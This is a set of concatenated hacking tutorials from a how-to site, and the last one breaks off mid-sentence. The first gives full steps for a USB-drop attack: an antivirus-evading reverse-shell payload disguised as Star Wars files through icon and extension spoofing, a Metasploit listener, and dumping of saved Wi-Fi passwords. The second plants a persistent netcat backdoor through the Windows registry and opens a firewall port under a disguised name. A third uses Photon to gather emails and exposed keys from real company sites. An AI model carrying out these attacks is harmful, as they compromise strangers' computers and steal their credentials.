The latest Star Wars movie,Solo: A Star Wars Story, hasgrossed almost $350 million worldwideduring its first month in theaters. This is a good opportunity to discuss how hackers can use media hype (in this case, Hollywood movie hype) to disarm an unsuspecting Windows user into inserting anevil USB stickinto their computer.A long time ago, in a galaxy far, far away ...a study was conductedthat involved 300 malicious USB sticks being dropped by researchers on a university campus in Illinois. Nearly 50% of the USB thumb drives were picked up, and at least one file on each of those USB drives was clicked on.Thedata showedthat attaching keys to the USB's keyring increased the likeliness of the flash drive being inserted into a computer. The presence of keys, no doubt, reinforced the belief that the keys and USB stick were lost and not placed on the ground by a hacker. The data also suggests that USB sticks labeled "Pictures" or "Winter Break Pictures" are more likely to be inserted by the victim. The addition of keys and label is something to consider when performing USB drops.Don't Miss:Use a Pi as a Dead Drop for Anonymous Offline CommsThe researchers' experiment was targeted at university students and professors. It exploited their gullibleness to believe a student could lose their USB flash drive on school property. But what if the target Wi-Fi router isn't located at a university?This type of attack does not have to use theStar Warsfranchise as a theme, I'm just a big an of the movies. During areconnaissancephase, itmay be discoveredthat a target user is wildly obsessed with zombie movies and TV shows. In that scenario, loading the USB stick with content inspired byThe Walking Deador something by an acclaimed horror movie filmmaker would make more sense. The point is to label the USB stick and fill it with content the intended victim will find hard to ignore. Make it enticing and exciting.This attack was performed against a Windows 10 Enterprise machine withAvast antivirusinstalledImage by Sergey Jarochkin/123RFStep 1: Purchase the USB Drives & KeysAt least one USB flash drive is required for this attack. At the time of this writing, USB sticks can be purchased in bulk using websites likeAmazon,Best Buy, andNewegg. I found it's usually possible to find 10 USB thumb drives forroughly $20 USD. Keep in mind, these prices and deals will change over time.You could go for some larger storage capacities, such as 16 GB, to really sell the idea that a movie is on there, but chances are, the user won't even notice the size unless it's written right on the stick, so a smaller, cheaper one will work just fine.On Amazon:10-Pack ALMEMO 128 MB USB 2.0 Flash Drives, Swivel, Black, for $21 + Free Prime ShippingThe addition of keys attached to the USB's keyring will likely increase the likeliness of the USB stick being picked up and used. A local hardware store might be a good place to start looking for stock and inexpensive keys. However, the acquisition of keys is optional. You could use keys from a portable lock or house keys that come with new door knobs — any kind can work if you want to attach keys.Step 2: Setup the VPS & Install MetasploitAvirtual private server(VPS) is needed to host theMetasploitlistener. This will allow attackers to execute commands and dump Wi-Fi passwords on the compromised Windows computers.Install the latest version of Metasploiton a VPS with at least 1 GB RAM.Step 3: Clone the Unicorn RepositoryIn a local Kali machine (not on the VPS), useUnicorntocreate an undetectable payload. Unicorn is an excellent tool for generating sophisticated payloads capable ofbypassing antivirus software. Readers who might've missed our article oncreating an undetectable payload for Windows 10should review it as many of the techniques shown there have been adapted into this demo.Aftercloning Unicorn, change into the unicorn/ directory, and generate a payload using the below command.python unicorn.py windows/shell/reverse_udp 1.2.3.4 53This payload will create a reverseUDPconnection (reverse_udp) to the attacker's IP address for the VPS (1.2.3.4) on port number53. The usage of UDP on port 53 is done in an effort to further disguise the payload and its network activity. Anyone that might be inspecting internet traffic transmitting to and from the compromised Windows computer may confuse the packets forordinary DNS activity. It won't make it impossible to discover the nefarious packets, but it may aid in evadingdeep packet inspection(DPI).Step 4: Save the PayloadThen, usecatto view the newly createdpowershell_attack.txtfile in the unicorn/ directory. Highlight the entirePowerShellcommand and save it to a Windows 10 machine with the file namepayload.bat.Step 5: Download Star Wars Images & Windows 10 IconsReaders can source all kinds of images to serve as file icons. I loaded the USB sticks with multiple payloads, so several pictures were used. These payloads were intermixed withfake Windows 10 fileswhich are also malicious files made to appear ordinary. The fake ZIP file in the below image is a good example of that.Images from Unsplash (byJens Johnsson;James Pond;Daniel Cheung;Saksham Gangwar)Step 6: Convert the Images to IconsAfter deciding on which images and icons will be used, they should be converted usingConvertICO. Simply upload the desired images to the website and it will reproduce them in ICO format. Save the new ICOs to the Windows 10 machine.Images from Unsplash andLooper/YouTubeStep 7: Set Up & Install B2E on Windows 10Then,download and install B2E, a Windows tool designed to convert files into executables. This has been covered several times before, so I'll move on.Step 8: Convert the PowerShell Payload to an ExecutableWhen B2E is done installing, import thepayload.batand select the desired ICO. Click the "Convert" button to create the EXE, and save the file.This one payload.bat can be used over and over again to create multiple fake files. Just continue to change the ICO files (converted in the previous step) and export using different file names. Each file will appear to be a different image (or file) but really execute the same payload, creating multiple connections to the target Windows computer.Step 9: Spoof the File ExtensionsWhen all of the EXEs have been created, rename the files andinject the Right-to-Left Override (RLO) Unicode characterto spoof the extensions.The SCR file extension can be substituted for the EXE extension without affecting the payload. This is one of several possiblefile extension substitutionsthat allow hackers to cleverly run EXEs. The payload will still execute normally and the SCR extension ("RCS" when reversed by RLO) is a lot less obvious than keeping the "EXE" in the file name.As shown in the above GIF, all of the files should have their file names and extensions spoofed to appear as ordinary files on the USB drive. If more than one USB stick is being used in the attack, the payloads with spoofed file extensions should be copied to every single USB drive being dropped.Step 10: Start MetasploitWith the payloads ready to go, it's now safe to start Metasploit on the VPS. In the unicorn/ directory, there's aunicorn.rcresource file used to automate the msfconsole initialization. The resource file should be copied to the VPS. Msfconsole can be started using the belowscreen msfconsole -r /path/to/unicorn/unicorn.rccommand.screen msfconsole -r /path/to/unicorn/unicorn.rc MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMM MMMMMMMMMM MMMN$ vMMMM MMMNl MMMMM MMMMM JMMMM MMMNl MMMMMMMN NMMMMMMM JMMMM MMMNl MMMMMMMMMNmmmNMMMMMMMMM JMMMM MMMNI MMMMMMMMMMMMMMMMMMMMMMM jMMMM MMMNI MMMMMMMMMMMMMMMMMMMMMMM jMMMM MMMNI MMMMM MMMMMMM MMMMM jMMMM MMMNI MMMMM MMMMMMM MMMMM jMMMM MMMNI MMMNM MMMMMMM MMMMM jMMMM MMMNI WMMMM MMMMMMM MMMM# JMMMM MMMMR ?MMNM MMMMM .dMMMM MMMMNm `?MMM MMMM` dMMMMM MMMMMMN ?MM MM? NMMMMMN MMMMMMMMNe JMMMMMNMMM MMMMMMMMMMNm, eMMMMMNMMNMM MMMMNNMNMMMMMNx MMMMMMNMMNMMNM MMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM https://metasploit.com =[ metasploit v4.16.60-dev ] + -- --=[ 1771 exploits - 1010 auxiliary - 307 post ] + -- --=[ 537 payloads - 41 encoders - 10 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] [*] Processing /opt/unicorn/unicorn.rc for ERB directives. resource (/opt/unicorn/unicorn.rc)> use multi/handler resource (/opt/unicorn/unicorn.rc)> set payload windows/shell/reverse_udp payload => windows/shell/reverse_udp resource (/opt/unicorn/unicorn.rc)> set LHOST 1.2.3.4 LHOST => 1.2.3.4 resource (/opt/unicorn/unicorn.rc)> set LPORT 53 LPORT => 53 resource (/opt/unicorn/unicorn.rc)> set ExitOnSession false ExitOnSession => false resource (/opt/unicorn/unicorn.rc)> set EnableStageEncoding true EnableStageEncoding => true resource (/opt/unicorn/unicorn.rc)> exploit -j [*] Exploit running as background job 0. [*] Started reverse handler on 1.2.3.4:53 msf exploit(multi/handler) >For those unfamiliar, "Screen" is a program that allows users to manage multiple terminal sessions within the same console. It has the ability to "detach," or close, the terminal window without losing any data running in the terminal. Prepending it to the command will allow attackers to exit their SSH session to the VPS without closing the msfconsole listener.Step 11: Label & Drop the USB SticksWhere and how to drop the USB stick(s) varies based on the scenario. If just one individual is being targeted, it would make sense todropthe USB stick near or around their desk, office, driveway, porch, or apartment door.For a mass attack, where a large group of people has access to the target Wi-Fi network, it would be better to drop the USB flash drives in common rooms, parking lots, and community areas to maximize the exposure of the USB drives to as many individuals as possible.Step 12: Dump the Wi-Fi Passwords (Post-Exploitation)When files on a USB drive are opened, a new connection will be established to the VPS. From the msfconsole terminal, use thesessionscommand to view compromised Windows machines.msf exploit(multi/handler) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 shell x86/windows Microsoft Windows [Version 10.0.16299.431] (c) 2017 Microsoft Corporation. Al... 1.2.3.4:53 -> x.x.x.x:53480 (x.x.x.x)Interact with the session "Id" using the-iargument (session -i 1).session -i 1 msf exploit(multi/handler) > sessions -i 1 [*] Starting interaction with 1... Microsoft Windows [Version 10.0.16299.431] (c) 2017 Microsoft Corporation. All rights reserved. C:\Users\IEUser>At this point, the attacker will be set into a low-privileged Windows (cmd) console. Use the belownetsh wlan show profilescommand to view Wi-Fi networks the Windows machine has connected to in the past.C:\Users\IEUser> netsh wlan show profiles Profiles on interface Wi-Fi: Group policy profiles (read only) --------------------------------- <None> User profiles ------------- All User Profile : 446CF4 All User Profile : Tatooine All User Profile : 3PVXQ All User Profile : Stewie All User Profile : FiOS-6DH1H All User Profile : attwifi All User Profile : Death Star All User Profile : Belkin.4412 All User Profile : garden-guest All User Profile : Jedi Temple All User Profile : cradle233 All User Profile : Lando Calrissian All User Profile : TransitWirelessWiFi All User Profile : StudioWifi All User Profile : ACE Lobby All User Profile : Lark Cafe All User Profile : D9F9ADTo view the password for a particular Wi-Fi network, use thenameandkeyarguments. The password ("Attack of The Clones") can be found on the "Key Content" line.C:\Users\IEUser> netsh wlan show profile name="Tatooine" key=clear Profile Tatooine on interface Wi-Fi: ======================================================================= Applied: All User Profile Profile information ------------------- Version : 1 Type : Wireless LAN Name : Tatooine Control options : Connection mode : Connect automatically Network broadcast : Connect only if this network is broadcasting AutoSwitch : Do not switch to other networks MAC Randomization : Disabled Connectivity settings --------------------- Number of SSIDs : 1 SSID name : "Tatooine" Network type : Infrastructure Radio type : [ Any Radio Type ] Vendor extension : Not present Security settings ----------------- Authentication : WPA2-Personal Cipher : CCMP Authentication : WPA2-Personal Cipher : GCMP Security key : Present Key Content : Attack of The Clones Cost settings ------------- Cost : Unrestricted Congested : No Approaching Data Limit : No Over Data Limit : No Roaming : No Cost Source : DefaultHow to Protect Against USB Drop AttacksThe best thing to do when you've discovered a rogue USB drive is to leave it alone. If there are keys attached to the USB stick and you feel compelled to return them, its okay to be a Good Samaritan — but don't try to find out what's on the USB storage device. As for remediations, the researchers recommend the following.Triple check the USB drive. If the drive seems to be too small for what you think is contained on it, it's likely there's a payload on their waiting for you. Some drives state the storage capacity on them; don't try to plug it in to see.Ban USB drives altogether. While not a very well known feature, Windows lets users ban the use of USB drives for their computers bydenying access to the Usbstor.inf file. If it's your workplace, it's not unjust to ban USB accessories on your work computers since there's always cloud storage and fast internet connections.Prevent USB devices from working. If you don't want to ban USB drives altogether, you can use a tool such askillusbto instantly reboot whenever an unknown, untrusted USB device is connected.Don't touch unknown USB sticks. Unless you're ina Taco Bell commercial, you should simply resist the urge to plug any USB stick that you are less than 100% certain is safe into any computer or device you own. If you can practice restraint here, all of the above tips should be useless to you. If you really can't help yourself, use an isolated and offline computer — not your primary, work, school, etc. laptop.Educate computer users. If your relatives, family, friends, and coworkers don't know any better, there's nothing stopping them from being taken advantage of. To prevent this, simply let them know about the danger of plugging in untrusted USB devices.If you just can't help yourself from plugging in a random USB device, then at least:View the details.Use the "Detailed" layout view in Windows' File Manager. This will display file type information and may help you spot strange or suspicious file types.Always shown file extensions.Make sure file type extensions are not "Hidden."Until next time, follow me on Twitter@tokyoneon_andGitHub. And as always, leave a comment below or message me on Twitter if you have any questions.Don't Miss:How to Hack Anyone's Wi-Fi Password Using a Birthday CardFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byDaniel Cheung/Unsplash; Screenshots by tokyoneon/Null ByteRelatedHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyAndroid for Hackers:How to Exfiltrate WPA2 Wi-Fi Passwords Using Android & PowerShellHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow to Hack Wi-Fi:Getting Started with Terms & TechnologiesHow To:Share Any Password from Your iPhone to Other Apple DevicesHow To:Recover a Lost WiFi Password from Any DeviceHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingAndroid for Hackers:How to Backdoor Windows 10 & Livestream the Desktop (Without RDP)How To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody — Even Android UsersHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:Hack Wi-Fi Networks with BettercapHow To:Easily See Passwords for Wi-Fi Networks You've Connected Your Android Device ToHow To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneHow To:The Ultimate Guide to Hacking macOSVideo:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSHow To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHacking Gear:10 Essential Gadgets Every Hacker Should TryHow To:The Easiest Way to Share Your Complicated WiFi Password with Friends & Family—No Typing RequiredAndroid Basics:How to Connect to a Wi-Fi NetworkHow To:Recover Forgotten Wi-Fi Passwords in WindowsHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Find Saved WiFi Passwords in WindowsHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow To:Easily Share Your Complicated Wi-Fi Password Using Your Nexus 5How To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow To:Share Your iPhone's Internet Connection with Other DevicesHow To:Automate Wi-Fi Hacking with Wifite2Android for Hackers:How to Backdoor Windows 10 Using an Android Phone & USB Rubber DuckyHow To:Find & Share Local Wi-Fi Passwords for Free Internet Everywhere You GoHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:See Who's Stealing Your Wi-Fi (And Give Them the Boot)
How to Install a Persistant Backdoor in Windows Using Netcat « Null Byte :: WonderHowTo
Imagine this scenario: You exploited a system using metasploit and you want to install a backdoor. You have a few options;Use the meterpreter persistence command.Use the meterpreter metsvc command.Use netcat to listen on a port continuously.You have already tried option 1 and 2 and they failed... You have one more chance to install a backdoor and netcat is the way to go...Note: This article requires you to already have an exploited windows system with a meterpreter session. Check out some ofOTW's tutorialson exploiting with metasploit. Also, this is more of an advanced topic as we're working with the Windows registry.Step 1: Upload a Copy of Netcat to the Exploited SystemFor these commands to work, both systems need netcat. For Kali Linux, everything needed is pre-installed, but Netcat for windows is harder to find. I use the 32-bit version fromthis websiteand it works flawlessly.After the windows download is complete, unzip the files in your /usr/share directory:mv netcat-win32-1.11.zip /usr/sharecd /usr/shareunzip netcat-win32-1.11.zipNow in the meterpreter session, execute the following command:upload /usr/share/netcat-1.11/nc.exe C:\\windows\\system32This will upload netcat to C:\windows\system32\nc.exe on the windows machine.Step 2: Edit the Registry to Start Netcat on StartupBefore we continue, I suggest you create a backup of your registry just in case anything goes wrong.The Windows Registry is a hierarchical database that stores configuration settings and options on Microsoft Windows operating systems. (From:Windows Registry wikipedia page.Basically, any program or software that needs configuration is stored in the Windows registry. This includes the autorun feature which we will be using to start netcat each time the system boots.First, run the following command in the meterpreter session:reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\runThis command prints all the values of the specified path to the screen. Now, we are going to add our netcat executable we uploaded earlier to listen for connection on port 455 each startup. We do that with the following commands:reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'c:\\windows\\system32\\nc.exe -Ldp 455 -e cmd.exe'reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v ncStep 3: Open Port 455 in Firewall to Allow Connections ThroughWhat good is a backdoor if we can't connect back to it? We need to open port 455 in the firewall to let us connect to it when we want to. The next few commands require a shell, so in the meterpreter session, type the following:shellThis will open a windows command prompt in your meterpreter session. In the shell command prompt, we will open port 455 in the firewall and name the service of the port "Service Firewall" to try and take some suspision out of it...netsh firewall add portopening TCP 455 "Service Firewall" ENABLE ALLStep 4: Connect to BackdoorIf everything goes well, we should be able to connect to the system from port 455. So now, reboot the target system and try to connect using the following command:nc -v [IP ADDRESS] 455As we can see here, netcat responded and connected us through port 455. We can now connect to this machine when ever we like with out having to exploit it over and over again!A Note from JINX:Null Byte is a wonderful community of respectful hackers. I would not have gotten this far with hacking/scripting if it weren't for this site and the contributers such as OccupyTheWeb, ghost_, Cracker Hacker and the list goes on and on. This is my first how-to so please give comments, suggestions and correct me if I made a mistake that I didn't catch!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:How to Use Netcat, the Swiss Army Knife of Hacking ToolsHack Like a Pro:How to Create a Nearly Undetectable Backdoor with CryptcatHacking macOS:How to Sniff Passwords on a Mac in Real Time, Part 1 (Packet Exfiltration)Hacking macOS:How to Perform Privilege Escalation, Part 2 (Password Phishing)Android for Hackers:How to Backdoor Windows 10 Using an Android Phone & USB Rubber DuckyHacking macOS:How to Configure a Backdoor on Anyone's MacBookHacking macOS:How to Use One Tclsh Command to Bypass Antivirus ProtectionsHacking macOS:How to Connect to MacBook Backdoors from Anywhere in the WorldHacking macOS:How to Dump Passwords Stored in Firefox Browsers RemotelyHacking macOS:How to Install a Persistent Empire Backdoor on a MacBookHacking macOS:How to Hack a MacBook with One Ruby CommandAndroid for Hackers:How to Backdoor Windows 10 & Livestream the Desktop (Without RDP)Hacking macOS:How to Use One Python Command to Bypass Antivirus Software in 5 SecondsHow To:Use Command Injection to Pop a Reverse Shell on a Web ServerHacking macOS:How to Remotely Eavesdrop in Real Time Using Anyone's MacBook MicrophoneHow To:Exploit PHP File Inclusion in Web AppsHacking Windows 10:How to Turn Compromised Windows PCs into Web ProxiesHow To:Hack MacOS with Digispark Ducky Script PayloadsHow To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASHHow To:Embed a Backdoor in an Exe FileHow To:Turn a OSX Backdoor into a .App
How to Use Photon Scanner to Scrape Web OSINT Data « Null Byte :: WonderHowTo
Gathering information on an online target can be a time-consuming activity, especially if you only need specific pieces of information about a target with a lot of subdomains. We can use a web crawler designed for OSINT called Photon to do the heavy lifting, sifting through URLs on our behalf to retrieve information of value to a hacker.All of this is used to learn as much as possible about the target without tipping them off that they're being watched. This rules out some of the more obvious methods of scanning and enumeration, requiring some creativity in searching for clues.Knowing What to Search ForPhoton OSINT scanner fills this niche by providing a flexible, easy-to-use command line interface for crawling through target webpages. Rather than just looking for vulnerabilities, Photon quickly parses what's out there and displays it to the hacker in a way that's easy to understand.One of the most useful Photon features is the ability to recognize and extract certain kinds of data automatically, like page scripts, email addresses, and important passwords or API keys that may be exposed by accident.Don't Miss:Use the Buscador OSINT VM for Conducting Online InvestigationsAside from looking at current webpages, Photon also allows you to look into the past. You can use preserved previous states of webpages documented on theWayback Machineas a "seed" for your search, scraping all the URLs off of the now-defunct website as a source for further crawling. While using Photon effectively takes some patience and understanding of the many available filters, it doesn't take much to get started pulling in clues about your targetWhat You'll NeedPhotonis a popular tool because it's cross-platform, meaning it will work on any system with Python installed. I find that it crashes running Python2, so I recommend running it with thepython3command before it, despite what theGitHub instructionssay.To check if your system has Python installed, you can open a terminal window and typepython3. If you don't have it installed, you can install it withapt-install python3. If your output looks like below, you're ready to go.python3Python 3.6.8 (default, Jan 3 2019, 03:42:36) [GCC 8.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>>Type quit() to exit the Python shell, and we'll get started installing what we need to run Photon.Step 1: Download & Install PhotonTo get started with Photon, make sure you have Python3 installed. When you do, we'll also need to install some dependencies. In a terminal window, run the following command to download and install the necessary libraries.pip install tld requestsWhen this is complete, you can download Photon and navigate to its directory with the following commands. Don't skip thecdline.git clone https://github.com/s0md3v/Photon.git cd PhotonStep 2: View Photo's OptionsNow, we can runpython3 photon.py -hto see the list of options we can use to scan.python3 photon.py -h. ____ __ __ / __ \/ /_ ____ / /_____ ____ / /_/ / __ \/ __ \/ __/ __ \/ __ \ / ____/ / / / /_/ / /_/ /_/ / / / / /_/ /_/ /_/\____/\__/\____/_/ /_/ v1.2.1 usage: photon.py [-h] [-u ROOT] [-c COOK] [-r REGEX] [-e EXPORT] [-o OUTPUT] [-l LEVEL] [-t THREADS] [-d DELAY] [-v] [-s SEEDS [SEEDS ...]] [--stdout STD] [--user-agent USER_AGENT] [--exclude EXCLUDE] [--timeout TIMEOUT] [--clone] [--headers] [--dns] [--ninja] [--keys] [--update] [--only-urls] [--wayback] optional arguments: -h, --help show this help message and exit -u ROOT, --url ROOT root url -c COOK, --cookie COOK cookie -r REGEX, --regex REGEX regex pattern -e EXPORT, --export EXPORT export format -o OUTPUT, --output OUTPUT output directory -l LEVEL, --level LEVEL levels to crawl -t THREADS, --threads THREADS number of threads -d DELAY, --delay DELAY delay between requests -v, --verbose verbose output -s SEEDS [SEEDS ...], --seeds SEEDS [SEEDS ...] additional seed URLs --stdout STD send variables to stdout --user-agent USER_AGENT custom user agent(s) --exclude EXCLUDE exclude URLs matching this regex --timeout TIMEOUT http request timeout --clone clone the website locally --headers add headers --dns enumerate subdomains and DNS data --ninja ninja mode --keys find secret keys --update update photon --only-urls only extract URLs --wayback fetch URLs from archive.org as seedsTo run the most basic scan, the formula ispython3 photon.py -u target.com.Step 3: Map DNS InformationOne of the most useful and interesting features of Photon is the ability to generate a visual DNS map of everything connected to the domain. This gives you huge insight into what kind of software is running on the computers behind the targeted domain.Don't Miss:Use Facial Recognition for OSINT Analysis on People & CompaniesTo do this, we'll run a scan with the--dnsflag. To generate a map of priceline.com, you can run the commandpython3 photon.py -upriceline.com--dnsin a terminal window.python3 photon.py -u https://www.priceline.com/ --dnsURLs retrieved from robots.txt: 111 Level 1: 112 URLs Progress: 112/112 Level 2: 112 URLs Progress: 112/112 Crawling 0 JavaScript files -------------------------------------------------- Robots: 111 Internal: 112 -------------------------------------------------- Total requests made: 0 Total time taken: 0 minutes 26 seconds Requests per second: 0 Enumerating subdomains 79 subdomains found Generating DNS map Results saved in www.priceline.com directoryThe resulting subdomain map is huge! It's much too large to fit here, so we'll look at a few segments. We can see servers and IP addresses associated with the Priceline service. Here is a pulled out view:Further down, we can see third-party integrations and other infrastructure connected to Priceline's services. This also gives us information about the mail servers they use and potentially any poorly secured third-party services we could take advantage of to gain access. Again, this is a pulled out view:Let's zoom in and look at the MX record, responsible for email service. Clearly, it uses Google services and VeriSign.Further down, we can zoom in and start to see Varnish, BigIP, and nginx servers detected. Connected to a Digital Ocean account, we see an Ubuntu server running a specific version of openSSH. Hope that's not vulnerable.Looking closer at Priceline's core services, we see Microsoft, Apache, and Big IP systems. In some cases, we can see the specific versions of the services that these IP addresses are hosting.All of this is a goldmine for hackers looking for the most vulnerable system connected to the target.Step 4: Extract Secret Keys & IntelNext, let's try to grab some email addresses and keys from a website. We'll use the example of PBS.org.Don't Miss:How to Use SpiderFoot for OSINT GatheringTo run the search, we'll add a few other flags to increase the depth and speed of the search. In a terminal window, we can runpython3 photon.py -upbs.org--keys -t 10 -l 3to specify we want to go three levels deep of URLs and we want to open ten threads to do the crawling. The results come back in a file called "intel," of which the first looks like this:python3 photon.py -u https://www.pbs.org/ --keys -t 10 -l 3b'[email protected]\[email protected]\[email protected]\[email protected]\[email protected]\[email protected]\[email protected]\[email protected]\[email protected]\[email protected]\[email protected]\[email protected]\[email protected]\[email protected]\[email protected]'ve captured some email addresses! We were casting a pretty wide net for this search, so there may be many unrelated emails on our list. This is because we scraped three levels of URLs deep and likely scraped some unrelated websites.While we didn't find any keys on this scan, the flag we set will cause Photon to search for strings likely to API keys or other important details that may have been unintentionally made public on the target's website.Step 5: Make Requests with a Third Party Using Ninja ModeLet's say we work from a sensitive IP address like a police station, government office, or even just your home that you don't want the target knowing is visiting their website. You can put distance between yourself and the target by using the--ninjaflag, which will send your requests to a third-party website, make the request for you, and pass along the response.Don't Miss:Research a Person or Organization Using the Operative FrameworkThe result is slower but eliminates the risk of the target recognizing the IP address of the organization you work for. Because you have less control over these requests, keep in mind they can take a lot longer to complete.To run a lighter version of the previous scan in "ninja" mode, we could run the commandpython3 photon.py -upbs.com--keys -t 10 -l 1 --ninjain a terminal window.python3 photon.py -u https://www.pbs.com/ --keys -t 10 -l 1 --ninjaPhoton Makes Scanning Through URLs Lightning-FastWhen it comes to crawling through hundreds of URLs for information, it's very rare you'd want to do it yourself. Photon makes it easy to crawl large amounts of subdomains or several targets, allowing you to scale your research during the recon phase. With the intelligent options built in for parsing and searching for kinds of data like email addresses and important API keys, Photon can catch even small mistakes a target makes that reveal a lot of valuable information.I hope you enjoyed this guide to using Photon OSINT scanner to crawl websites for OSINT data! If you have any questions about this tutorial on web scraping or if you have a comment, there's the comments section below, and feel free to reach me on [email protected]'t Miss:Uncover Hidden Subdomains to Reveal Internal Services with CT-ExposerFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Conduct OSINT Recon on a Target Domain with Raccoon ScannerRecon:How to Research a Person or Organization Using the Operative FrameworkHow To:Use the Buscador OSINT VM for Conducting Online InvestigationsHow To:Scrape Target Email Addresses with TheHarvesterHow To:Use Maltego to Target Company Email Addresses That May Be Vulnerable from Third-Party BreachesVideo:How to Use Maltego to Research & Mine Data Like an AnalystHow To:Find Identifying Information from a Phone Number Using OSINT ToolsHow To:Android's Built-In Scanner Only Catches 15% of Malicious Apps—Protect Yourself with One of These Better AlternativesNews:Apple's LiDAR Scanner on New iPad Pro Provides Possible Peek at How Its Smartglasses Will See the WorldHow To:Find OSINT Data on License Plate Numbers with SkiptracerHow To:Find Passwords in Exposed Log Files with Google DorksHow To:Obtain Valuable Data from Images Using Exif ExtractorsHow To:4 Ways to Fix Your Galaxy S5’s Dysfunctional Fingerprint ScannerHow To:Mine Twitter for Targeted Information with TwintHow To:Advanced Penetration Testing - Part 1 (Introduction)How To:Create global illumination photons in Maya 2011How To:Top 10 Browser Extensions for Hackers & OSINT ResearchersHow To:Detect Vulnerabilities in a Web Application with UniscanHow To:Use Maltego to Fingerprint an Entire Network Using Only a Domain NameHow To:Uncover Hidden Subdomains to Reveal Internal Services with CT-ExposerHow To:Use Metasploit's WMAP Module to Scan Web Applications for Common VulnerabilitiesHow To:Megapixels Don't Matter Anymore — Here's Which Camera Specs to Look ForHow To:13 QR Code Scanners That Won't Send You to Malicious Webpages on Your iPhoneNews:Researchers Find 'MasterPrints' That Can Bypass Your Phone's Fingerprint ScannerHow To:Hack a network with Nessus 3Hack Like a Pro:Hacking the Heartbleed VulnerabilityHow To:Get OpenVas Working Properly in KaliHow To:Build a handheld version of the TSA's microwave-based body scannerHow To:Create Malicious QR Codes to Hack Phones & Other ScannersHow To:Probe Websites for Vulnerabilities More Easily with the TIDoS FrameworkHow To:Use SpiderFoot for OSINT GatheringHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)Hack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesNews:The Advanced Technology of the New Airport ScannersNews:3D Laser Scanner from TrashLockdown:The InfoSecurity Guide to Securing Your Computer, Part INews:Dark Side of the Lens - DP Allan Wilson7/7- Weds Pick:Carbon Leaf / Brandon Stanley @ TroubaNews:Foursquare Money & PrivacyNews:A Quality Handprinting Method
The Essential Skills to Becoming a Master Hacker « Null Byte :: WonderHowTo
Many of my aspiring hackers have written to me asking the same thing. "What skills do I need to be a good hacker?"As the hacker is among the most skilled information technology disciplines, it requires a wide knowledge of IT technologies and techniques. To truly be a great hacker, one must master many skills. Don't be discouraged if you don't have all the skills I list here, but rather use this list as a starting ground for what you need to study and master in the near future.Image viaShutterstockThis is my overview list of required skills to enter the pantheon of this elite IT profession. I've broken the skills into three categories to help you go from one rung to the other more easily—fundamental, intermediate, and intangible skills—and have included links to related articles on Null Byte for you to get acquainted with.The Fundamental SkillsThese are the basics that every hacker should know before even trying to hack. Once you have a good grasp on everything in this section, you can move into the intermediary level.1. Basic Computer SkillsIt probably goes without saying that to become a hacker you need some basic computer skills. These skills go beyond the ability to create a Word document or cruise the Internet. You need to be able to use the command line in Windows, edit the registry, 